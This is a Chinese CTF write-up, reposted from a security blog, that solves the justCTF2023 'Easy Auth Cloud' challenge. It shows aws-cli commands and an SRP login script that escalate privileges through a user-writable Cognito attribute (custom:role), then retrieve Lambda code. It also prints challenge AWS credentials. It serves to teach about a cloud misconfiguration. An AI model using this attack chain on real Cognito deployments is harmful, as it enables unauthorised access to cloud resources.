扫码领资料
获网安教程
免费&进群
justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患
这道题目和文章 Hacking AWS Cognito Misconfigurations 思路大致相同,利用Cognito
服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:
Web应用没有注册和登录功能,前端JavaScript代码简单混淆,能够通过AWS Cognito JavaScript SDK 拿到App Client ID, User Pool ID, Identity Pool ID, and region 信息
攻击者首先需要获得Web应用的认证,在修改用户属性后,Cognito Identity Pool
会基于ABAC(attribute based access control)的方式提供给用户更高权限的AWS Credentials
,之后利用AWS Credentials
获取托管在云上的lambda
代码并解密出flag值
Cognito
是AWS提供的一项全托管的认证、授权和用户管理服务,通过Cognito
,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过Cognito
的API来完成这些操作。Cognito
提供两种核心服务,分别为UserPool
和Identity Pool
UserPool:UserPool表示一个用户池,用于管理用户的注册、登录、身份验证和密码重置等操作。使用UserPool可以方便地创建和管理用户帐户,用以Web、Mobile APP的身份管理。此外,UserPool还支持社交身份验证,例如Facebook、Google等。
Identity Pool:Identity Pool表示身份池,用于管理访问AWS服务的用户身份认证和授权。它与UserPool不同,它可以提供跨不同平台(不同应用程序和设备)的单一登录。身份池为应用程序用户提供了一组临时安全证书,这些证书可用于访问AWS服务。
通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。
开局给了个登陆页面,经过简单阅读前端JS代码后发现有对Cognito SDK
的使用,调出前端控制台debug偏移就能够拿到Cognito
信息
后续的所有步骤都需要借助aws-cli
,首先根据clientID
向Cognito
服务注册账号
aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d" --region "eu-west-1" --username "hpdoger1" --password "*()Hpdoger123"
紧接着使用注册的账号登陆User Pool
,作者只配置了USER_SRP_AUTH
这种认证方式,我选择用SDK
进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种Token
信息
import axios from 'axios'
import { SRPClient, calculateSignature, getNowString } from 'amazon-user-pool-srp-client'
function call (action, body) {
const request = {
url: 'https://cognito-idp.eu-west-1.amazonaws.com',
method: 'POST',
headers: {
'Content-Type': 'application/x-amz-json-1.1',
'X-Amz-Target': action
},
data: JSON.stringify(body),
transformResponse: (data) => data
}
return axios(request)
.then((result) => JSON.parse(result.data))
.catch((error) => {
const _err = JSON.parse(error.response.data)
const err = new Error()
err.code = _err.__type
err.message = _err.message
return Promise.reject(err)
})
}
function login (email, password) {
const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]
const srp = new SRPClient(userPoolId)
const SRP_A = srp.calculateA()
return call('AWSCognitoIdentityProviderService.InitiateAuth', {
ClientId: process.env.CognitoUserPoolClientWeb,
AuthFlow: 'USER_SRP_AUTH',
AuthParameters: {
USERNAME: email,
SRP_A
}
})
.then(({ ChallengeName, ChallengeParameters, Session }) => {
const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password, ChallengeParameters.SRP_B, ChallengeParameters.SALT)
const dateNow = getNowString()
const signatureString = calculateSignature(hkdf, userPoolId, ChallengeParameters.USER_ID_FOR_SRP, ChallengeParameters.SECRET_BLOCK, dateNow)
return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge', {
ClientId: process.env.CognitoUserPoolClientWeb,
ChallengeName,
ChallengeResponses: {
PASSWORD_CLAIM_SIGNATURE: signatureString,
PASSWORD_CLAIM_SECRET_BLOCK: ChallengeParameters.SECRET_BLOCK,
TIMESTAMP: dateNow,
USERNAME: ChallengeParameters.USER_ID_FOR_SRP
},
Session
})
.then(({ AuthenticationResult }) => ({ username: ChallengeParameters.USERNAME, credentials: AuthenticationResult }))
})
}
process.env.CognitoUserPoolUsers = "eu-west-1_sEBJdM3TJ"
process.env.CognitoUserPoolClientWeb = "g1l1udtdgp1cu30fogbucvh4d"
login("hpdoger", "*()Hpdoger123").then((resp)=>{console.log(resp)})
这里会同时获得三种状态的Token
,分别为:AccessToken
、IdToken
、RefreshToken
{
username: 'hpdoger',
credentials: {
AccessToken: 'eyJraW...',
ExpiresIn: 3600,
IdToken: 'eyJraWQiO...',
RefreshToken: 'eyJjd...',
TokenType: 'Bearer'
}
}
这三种Token应对场景不同,各司其职:
AccessToken:AccessToken用于访问AWS资源的临时令牌,它只有短暂的有效期,通常保留在客户端。当用户通过认证成功之后,Cognito返回一个AccessToken,客户端在访问AWS资源的时候需要携带该AccessToken来证明自己的身份和权限。
IdToken:IdToken是用于验证用户身份的令牌,通常在用户登录后进行访问。例如,当用户通过Cognito认证之后,服务器返回一个IdToken,客户端可以用来确认用户是谁,以及他们的权限。
RefreshToken: Refresh Token是用于获取新的AccessToken和IdToken的令牌。当一个AccessToken到期时,客户端可以使用一个Refresh Token来获取一个新的AccessToken,而无需再次进行身份认证。Refresh Token通常仅在安全凭据存储中保留。
再引用一段描述区分AccessToken
与AWS Temporary Credentials
的异同
当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。
Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。
简而言之,如果想要获得AWS云上的资源,就需要一份AWS Temporary Credentials
。Cognito
服务也是做这件事的,它可以让Identity Pool
授权我们的AccessToken
来生成AWS Credentials
(包含AccessKeyId、SecrectKey、SecrectSession)
aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'
其中YOUR_IDENTITY_ID
为前端JS泄漏的identity-id
;YOUR_PROVIDER_NAME
可以根据region
与user-pool-id
拼接而来,且YOUR_PROVIDER_NAME
的格式固定:cognito-idp.<region>.amazonaws.com/<user-pool-id>
;YOUR_PROVIDER_TOKEN
为UserPool
登陆后返回的IdToken
,那么对于这道题目来说运行的示例如下
aws cognito-identity get-credentials-for-identity \
--identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3" \
--logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."
得到的返回信息即为AWS Credentials
,使用export
将AWS Credentials
引入环境变量后即可使用aws-cli
访问AWS云上资源
export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG
export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO
export AWS_SESSION_TOKEN=IQoJb3JpZ....
但很可惜的是当前AWS Credentials
对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的Credentials
枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前Credentials
能做的事情比较少,只能list部分s3 bucket
云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话
这或许暗示需要通过登陆获得进一步的提示信息,而整个Web Application
并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了AccessToken
,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将AccessToken
作为Web Application
的用户态JWT
使用
在请求Web Application
时只需要携带Authorization
头,内容为AccessToken
,AWS WebGateway
会根据此状态判别用户是否登录。于是当我们携带正确的AccessToken
访问/home
路由后,题目给出了新的提示:only role xxx can get access
同时/flag
路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。在复盘时我想,这一步作者想考察的点在于,攻击者需要对当前的用户身份设置role
,并且role
为fishy_moderator
的用户将在IdentityPool
认证后拥有不一样的权限。
那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认开放了Own User Attribute Read/Write权限,并且User Pool providers内置了一些属性比如name
、email
、phone_number
等,用户可以通过update-user-attributes
更新用户属性。
aws cognito-idp update-user-attributes --access-token "eyJraw..." --user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'
更新完属性后,重新登陆刷新Token,就可以借助get-user验证刚刚设置的用户属性:aws cognito-idp get-user --access-token “ey..”
再次重复IdentityPool
授权的步骤,拿到新的AWS Credentials
,发现此时的Credentials
具有lambda list
的权限。
到这里,也是整个场景产生漏洞的原因:在AWS注册用户sign-up
时默认会指定一个default Role,这个Role就作为用户属性(Attribute)存在,而IdentityPool
认证后颁布的AWS Credentials
是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的AWS Credentials
就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时IdentityPool
认证后的AWS Credentials
就具有了新的权限—list lambda functions
这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。
再回到题目,利用新的AWS Credentials
列出lambda functions
,能够发现计算flag
的lambda
函数
aws lambda list-functions --profile jctf --region eu-west-1
再通过get-function
获得FlagLambda
代码所在位置:
aws lambda get-function --function-name FlagLambda --query 'Code.Location' --profile jctf --region eu-west-1
凭借相同的方式,在多个lambda
代码获得AES加密flag的key
+ nonce
,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。
总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。
来源:https://hpdoger.cn/2023/06/05/title: justCTF2023-AWS Cognito认证服务的安全隐患/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
文章引用微信公众号"白帽子左一",如有侵权,请联系管理员删除!